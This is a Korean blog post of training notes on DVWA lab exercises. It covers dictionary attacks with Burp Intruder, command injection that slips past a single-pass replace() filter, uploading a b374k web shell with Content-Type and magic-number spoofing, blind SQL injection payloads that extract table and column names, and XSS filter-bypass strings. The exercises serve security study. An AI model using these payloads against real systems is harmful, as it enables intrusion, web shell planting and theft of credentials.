Brute Force Attack(전수 공격)
영어의 뜻 그대로 무식한 공격을 통해 공격하는 수법으로 모든 경우의 수를 대입하여 찾는 공격이다. 이러한 공격은 대부분의 경우 찾을 수 있다는 장점(한번 지나간 대입으로 이용자가 비밀번호를 바꿀 경우 찾지 못한다.)이 있지만 그 만큼 경우의 수가 증가함에 따라 엄청난 시간을 소요한다는 단점이 있다.
Dictionary Attack(사전 공격)
많이 사용하는 단어를 사전화 하고 그 사전을 이용하여 찾는 공격 방법이다.
그 후에 Request 부분에 우클릭을 하여 send to intruder을 선택한다.
그러면 위 와 같은 결과가 나오는데 우리가 찾고자 하는 것은 password 이므로 password를 제외한 선택된 부분을 Clear해준다. 그 후 미리 사전화 해놓은 txt파일을 불러와서 공격을 시작한다.
그러면 사전에 등록된 단어를 기반으로 브루트포스방식으로 계속 넣어서 확인하게 된다. 이때 비밀번호가 맞았는지 여부를 확인하는 방법은 틀렸다 와 맞았다라는 결과를 받을 때 길이가 다르다는 것이다. 그것을 이용해 letmein이 비밀번호 였다는 것을 알 수 있었다.
Command Injection
Low
Medium
High
다양한 구분자를 활용하여 공격할 수 있다.
Medium, High의 경우 코드를 봤을 때 replace()함수를 이용하여 방어하고 있지만 OWASP취약점을 설명시 이러한 방법은 취약점을 극복하는데 있어 적절하지 못한 방법이라고 설명했다. -> replace() 함수 자체는 반복적으로 안나올 때까지 찾아 없애는 것이 아닌 딱 한번의 Cycle만 돌아 제거하기 때문에 "|| ls -al"의 명령어를 입력시 순서에 의존하여 "| "를 먼저 없애고 넘어가버린다
그럴 경우 다시 한번 "| "가 남게 되어 명령이 실행되게 된다
위의 방법은 모든 난이도에서 수행된다.
File Upload
파일을 업로드하여 공격할 경우 Web Shell을 업로드한다
Web Shell
Web Shell은 업로드 취약점을 통하여 시스템에 명령을 내릴 수 있는 코드를 말한다. (본래의 목적은 관리자가 SSH, FTP를 이용하지 않고 웹브라우저로 웹서버를 관리하기 위한 도구로 사용하기 위함)
간단한 서버 스크립트(jsp, php, asp 등)로 만드는 방법이 사용되며 이 스크립트들은 웹서버의 취약점을 통해 업로드 된다.
Low (용량 우회)
개발자 도구를 이용하여 코드에 접근하여 용량을 직접 늘릴 수 있다. (Proxy 도구로도 가능)
value부분을 업로드 할 .php파일의 용량보다 높게 바꾼뒤 업로드시 업로드가 된다.
Medium (확장자 우회)
악성 쉘인 b374k-2.8.php 파일을 업로드 할 경우 jpeg, png확장자만 업로드 할 수 있다는 경고 메세지가 출력된다.
이를 우회하기 위해 Proxy도구인 Burp Suite를 이용하여 가로챈다.
아래 Content-Type을 image/jpeg로 변경해주고 서버에 보내면 정상 업로드가 된다.
High (확장자 매직넘버 우회)
PNG : 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
JPG : FF D8 FF E0 00 10 4A 46 49 46 로 시작해서 FF D9로 끝남
EXE : 4D 5A (MZ : Mark Zbicowski) ( # exe의 경우 이 부분이 없으면 윈도우에서 파일 실행 불가)
이렇게 각자의 고유한 HEX가 있는데 이것을 속이는 것이다.
이렇게 각 파일별로 고유한 확장자 매직넘버를 가지고 있는데 이것을 우회하는 방법이다.
(사진 업로드는 나중에)
이렇게 php파일을 png로 변경하고 파일 고유 HEX를 붙여넣어 줌으로써 서버를 속일 수 있게 됐다.
그 후 이 악성 쉘을 다시 php파일로 변경하여 사용하기 위해서는 리눅스 명령어를 사용해야 한다.
우리의 주 목적은 업로드 이니 파일 확장자 변경을 Commend Injection을 활용하여 바꾼다.
; mv ../../hackable/uploads/b374k-2.8.png ../../hackable/uploads/b374k-2.8.php
그 후에 URL에 경로를 입력하여 들어가면 된다.
SQL Injection
Low
위 사진과 같이 명령어를 입력 했을 시 공격이 성공한다.
SQL Injection(Blind)
Low
Ch01) DB명 알아내기
다른 방법으로는 substring()함수를 이용하여 한글자씩 알아내어 DB, Table, Column의 이름을 알아내는 방법이 있다.
select distinct table_schema from information_schema.columns where table_schema != 'information_schema'Limit 0,1;의 경우 Limit은 0부터 시작하여 (행의 첫번째) 몇개의 행을 출력할 것인지를 정해주는 역할을 한다.
이렇게 1개를 출력하여 아래와 같은 방식을 활용해 1개씩 테이블 명을 알아갈 수 있다.
1' and substring((select distinct table_schema from information_schema.columns where table_schema != 'information_schema'Limit 0,1),1,1) = 'a' #
이렇게 a-z를 대입하여 맞을 경우 존재한다고 나옴 그렇게 다 알아냈다면 최종 확인을 위해
1' and substring((select distinct table_schema from information_schema.columns where table_schema != 'information_schema'Limit 0,1),1,4) = 'dvwa' #
(# table_schema != 'information_schema 이것을 넣은 이유는 찾아낼 필요가 없기 때문에 제외를 한 것이다.)
이 구문을 injection 해보자 그럼 위 그림과 같은 동일한 결과가 나올 것이다.
( # 길이알아내는 법 : 1' and length(database())=4 # )
이러한 방법을 사용하여 DB이름의 길이를 알 수 있다. 길이가 맞을 경우 위 사진과 같은 동일한 결과가 나온다.)
Ch02) Table명 알아내기
위와 비슷한 방법으로 찾아낸다.
우리가 알아내고 싶은 Table은 중요한 정보가 담긴 users Table이다. 하지만 limit을 적용 했을 시 guestbook이 나오는데 해커 입장에서는 하나씩 다 알아내야 한다.
만약 알아내고 이제 users Table을 알아낼 차례라고 생각해보면
1' and substring((select distinct table_name from information_schema.columns where table_schema = 'dvwa' limit 1,1),1,1) = 'u' #
Limit을 0에서 1로 늘려주어 다음 행의 Table명을 가지고 온 후 다시 찾아본다.
Ch03) Column명 알아내기
알아내는 법은 위와 비슷하다
차례대로 찾아보다가 중요한 정보가 담긴 password Column을 찾아 낼 차례라고 생각해보자.
1' and substring((select column_name from information_schema.columns where table_name='users' limit 4,1),1,8) = 'password' #
(이러한 방법을 사람이 계속 하기에는 부담이 되기 때문에 kali linux를 활용하여 자동으로 찾아 낼 수 있다. - kali편)
XSS(Reflected : 사용자가 입력한 값을 그대로 보여주는 기능이 있는 사이트의 경우)
Low
명령어 입력시 바로 공격 성공
Medium
한번만 검사하는 replace()함수 특징을 이용하여 중간에 스크립트를 더 넣는 방식으로 공격
혹은 태그 속성을 이용하여 <script >와 같이 띄워쓰기만 해줘도 됨
<SCRIPT>alert('hinamnor')</script> // 소문자 script만 필터링하기 때문에 대문자로 변경
<Script>alert('hinamnor')</script>
<ScRiPt>alert('hinamnor')</script> // 대소문자 섞어서 사용하기
<script img=x>alert('hinamnor')</script> // 불필요한 속성을 추가
<script >alert('hinamnor')</script> // 태그는 속성을 추가할 수 있기 때문에 공백이 구분자 역할을 함
<scr<script>ipt>alert('hinamnor')</script> // 스크립트 태그를 중첩해서 사용하는 방법
High
"
<img src = "" onerror=alert("SK_Shielders")>" 와 같이 script가 아닌 다른 태그를 활용하여 공격
XSS(Stored : 사용자가 입력한 값을 DB에 저장했다가 방문자의 웹 브라우저에서 동작하는 기능이 있는 사이트의 경우)
위와 동일한 소스코드를 가지고 있어 위와 동일하게 사용
Low
Medium
Medium의 소스코드를 보면 메세지 부분은 3중 보안 처리를 한 모습이 보이고 이름 부분은 그냥 replace()함수를 이용하여 보안 처리를 했다. 이에 공격 구문을 메세지 부분이 아닌 이름부분에 하면된다. -> 이름부분의 경우 길이가 제한되어 있으므로 개발자 도구로 이를 우회한다.
High
Reflected부분과 동일하다 다른 태그를 사용하여 공격
'SK Rookies 9 > Application Secure' 카테고리의 다른 글
Backdoor & Reverse (0) | 2022.09.18 |
---|---|
난독화 (0) | 2022.09.18 |
Kali Linux 실습 (0) | 2022.09.18 |
BeeBox 실습 (0) | 2022.09.18 |
OWASP Top 10 (2021) (0) | 2022.09.17 |